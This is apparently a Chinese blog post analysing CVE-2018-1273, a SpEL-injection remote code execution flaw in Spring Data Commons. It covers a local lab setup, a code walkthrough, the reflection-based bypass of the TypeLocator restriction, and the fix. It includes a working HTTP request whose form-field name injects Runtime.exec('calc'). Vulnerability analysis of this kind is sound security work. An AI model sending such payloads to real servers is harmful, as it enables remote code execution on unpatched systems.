Loading

Spring Data Commons RCE 分析

Spring Data Commons RCE 分析

简介

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架, 包含 Commons、Gemfire、JPA、JDBC、MongoDB 等模块。Commons 模块提供了基础的框架。

漏洞产生的原因是 Spring Data Commons 组件在处理 form 表单的 key 值时,可以解析 SpEL 表达式,导致 RCE。

SpEL 基本语法

/*直接量表达式*/
#{5}
#{'abc'}
#{'true'}
/*引用Bean并使用其属性与方法*/ 
#{a}                          //a为bean的id
#{a.b}                        //使用bean的属性
#{a.c()}                    //使用bean的方法
/*引用类的常量与方法*/
//在SpEL中访问类作用域的方法和常量的话,可以使用T()
T(java.lang.Math).PI        //调用Math类的PI常量
T(java.lang.Math).random()    //调用Math类的random()方法
/*利用SpEL表达式进行命令执行(弹出计算器)*/
T(java.lang.Runtime).getRuntime().exec("calc") 
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

其实 SpEL 和我们之前在 struts2 中利用的 ognl 表达式很相似,都是要抽象成 抽象语法树,再进行求值

SpEL 的语法树在 org.springframework.expression.spel.ast 包内

Assign
AstUtils
BeanReference
BooleanLiteral
CompoundExpression
ConstructorReference
Elvis
FloatLiteral
FormatHelper
FunctionReference
Identifier
Indexer
InlineList
InlineMap
IntLiteral
Literal
LongLiteral
MethodReference
NullLiteral
OpAnd
OpDec
OpDivide
OpEQ
Operator
OperatorBetween
OperatorInstanceof
OperatorMatches
OperatorNot
OperatorPower
OpGE
OpGT
OpInc
OpLE
OpLT
OpMinus
OpModulus
OpMultiply
OpNE
OpOr
OpPlus
package-info
Projection
PropertyOrFieldReference
QualifiedIdentifier
RealLiteral
Selection
SpelNodeImpl
StringLiteral
Ternary
TypeCode
TypeReference
ValueRef
VariableReference

漏洞影响

  • Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)

环境搭建

官方给了一个 SpirngData 的例子: spring-projects/spring-data-examples: Spring Data Example Projects

git clone https://github.com/spring-projects/spring-data-examples.git  # 官方仓库
cd spring-data-examples
git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d  # 回退到一个库版本计较旧的版本

我们只需要用 idea 打开 web 目录下的 example 即可

image-20250511145027684

修改一下 pom.xml 的 parent 节点,设置为有漏洞的版本。

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.0.0.RELEASE</version>
    <relativePath></relativePath>
</parent>

添加两个依赖,让这个模块成为一个单独的项目

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
</dependency>

运行 Application,启动项目

报错

image-20250511154318632

我们把对应的包替换一下

import org.springframework.boot.autoconfigure.security.SecurityAutoConfiguration;

替换为

import org.springframework.boot.autoconfigure.security.servlet.SecurityAutoConfiguration;

就可以启动了

访问 http://localhost:8080/users

image-20250511154700965

漏洞分析

漏洞主要产生是在 springMVC 处理请求参数 key 值的时候,会调用 org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue 方法

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    // 检查属性是否可写
    if (!this.isWritableProperty(propertyName)) {
        throw new NotWritablePropertyException(this.type, propertyName);
    } else {
        // 创建解析上下文
        StandardEvaluationContext context = new StandardEvaluationContext();
        // 添加属性访问器以支持复杂类型的属性访问
        context.addPropertyAccessor(new PropertyTraversingMapAccessor(this.type, this.conversionService));
        // 设置类型转换器
        context.setTypeConverter(new StandardTypeConverter(this.conversionService));
        // 设置类型定位器,此处简化处理,直接抛出异常表示未找到类型
        context.setTypeLocator((typeName) -> {
            throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, new Object[]{typeName});
        });
        // 设置根对象,即要操作的map
        context.setRootObject(this.map);
        // 解析表达式
        Expression expression = PARSER.parseExpression(propertyName);
        // 获取属性路径的末尾属性
        PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
        // 获取末尾属性的拥有类型和属性类型信息
        TypeInformation<?> owningType = leafProperty.getOwningType();
        TypeInformation<?> propertyType = leafProperty.getTypeInformation();
        // 如果是数组或集合属性,获取其实际类型
        propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
        // 如果需要类型转换,进行类型转换
        if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
            // 获取属性描述符
            PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
            if (descriptor == null) {
                throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
            }

            // 创建方法参数对象,用于获取类型描述符
            MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
            TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
            if (typeDescriptor == null) {
                throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
            }

            // 执行类型转换
            value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
        }

        // 尝试设置属性值
        try {
            expression.setValue(context, value);
        } catch (SpelEvaluationException o_O) {
            // 如果设置失败,抛出异常
            throw new NotWritablePropertyException(this.type, propertyName, "Could not write property!", o_O);
        }
    }
}

我们来分析一下

首先我们要想走到 SpEL 表达式解析,我们肯定是要 !this.isWritableProperty(propertyName) 这个 if 判断为 false

propertyName 是传进来的参数,从项目的首页不难看出是一个注册用户的功能,对应的就是 example.users.web.UserController#register 方法

image-20250511163706971

看到传入的 Bean 对象为 UserForm,我们看一下他的属性,有 Username, Password, RepeatedPassword 这三个属性,也就是说 propertyName 必须是这三个中的一个

image-20250511164009571

这其实也正好对应了我们首页中的表单值

属性名可以是 Username 然后会进入 else 分支,但是我们不能只传入 Username 这个普通的字符串,我们得想办法注入 SpEL 表达式

看一下 isWritableProperty 方法的实现,内部调用了 getPropertyPath 方法

image-20250511164507521 image-20250511164633292

所以我们可以利用 Username[SpEL] 的方式注入表达式

但是进入了 else 分支,并没有万事大吉,因为还有一个安全限制, 用 lambda 表达式写的

context.setTypeLocator((typeName) -> {
    throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, new Object[]{typeName});
});

拆成普通的 java 语法就是

context.setTypeLocator(new TypeLocator() {
    @Override
    public Class<?> findType(String typeName) throws SpelEvaluationException {
        throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, new Object[]{typeName});
    }
});

这里就是防止了 T(类名) 这种类型的 payload 攻击。

SpEL 解析器有 类型定位器(TypeLocator),用于把 T(类名) 解析为 Java 的类对象,TypeLocator 默认会自动查找 classpath 下的类。

而这里用 lambda 表达式,定义了一个匿名的 TypeLocator 并且不管传入什么类型的 T(类名),都会直接抛出异常。

所以我们只能用 #this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc") 这种反射执行的表达式

Payload

用 burp 抓包,修改参数名称

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Content-Length: 47
Cache-Control: max-age=0
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=root&password=12345&repeatedPassword=12345

成功弹出计算器

image-20250511181026587

漏洞调试

org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue 打断点,看到 username 参数,开始单步调试。

看到我们的 payload 正常来到了 else 分支

image-20250511181212413

绕够了 TypeLocator 限制

image-20250511182924418

setValue 解析表达式

image-20250511183147641

在 org.springframework.expression.spel.ast.MethodReference#getValueInternal

image-20250511183945631

调用栈

getValueInternal:134, MethodReference (org.springframework.expression.spel.ast)
access$000:53, MethodReference (org.springframework.expression.spel.ast)
getValue:360, MethodReference$MethodValueRef (org.springframework.expression.spel.ast)
getValueInternal:89, CompoundExpression (org.springframework.expression.spel.ast)
getValueRef:134, Indexer (org.springframework.expression.spel.ast)
getValueRef:67, CompoundExpression (org.springframework.expression.spel.ast)
setValue:96, CompoundExpression (org.springframework.expression.spel.ast)
setValue:464, SpelExpression (org.springframework.expression.spel.standard)
setPropertyValue:217, MapDataBinder$MapPropertyAccessor (org.springframework.data.web)
setPropertyValue:67, AbstractPropertyAccessor (org.springframework.beans)
setPropertyValues:97, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:839, DataBinder (org.springframework.validation)
doBind:735, DataBinder (org.springframework.validation)
doBind:197, WebDataBinder (org.springframework.web.bind)
bind:720, DataBinder (org.springframework.validation)

漏洞修复

SpringBoot 在 2.0.1.RELEASE 版本使用 SimpleEvaluationContext 替换了 StandardEvaluationContext

SimpleEvaluationContext功能受限,不支持类型引用T(类名)、方法调用、构造函数调用、bean引用、自定义类型转换等高级功能。

image-20250511190103326

image-20250511190130309

参考文章

Spring RCE 漏洞分析 2(CVE-2018-1273)-CSDN 博客

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)分析 | milkfr

posted @ 2025-05-11 19:05  LingX5  阅读(56)  评论(0)    收藏  举报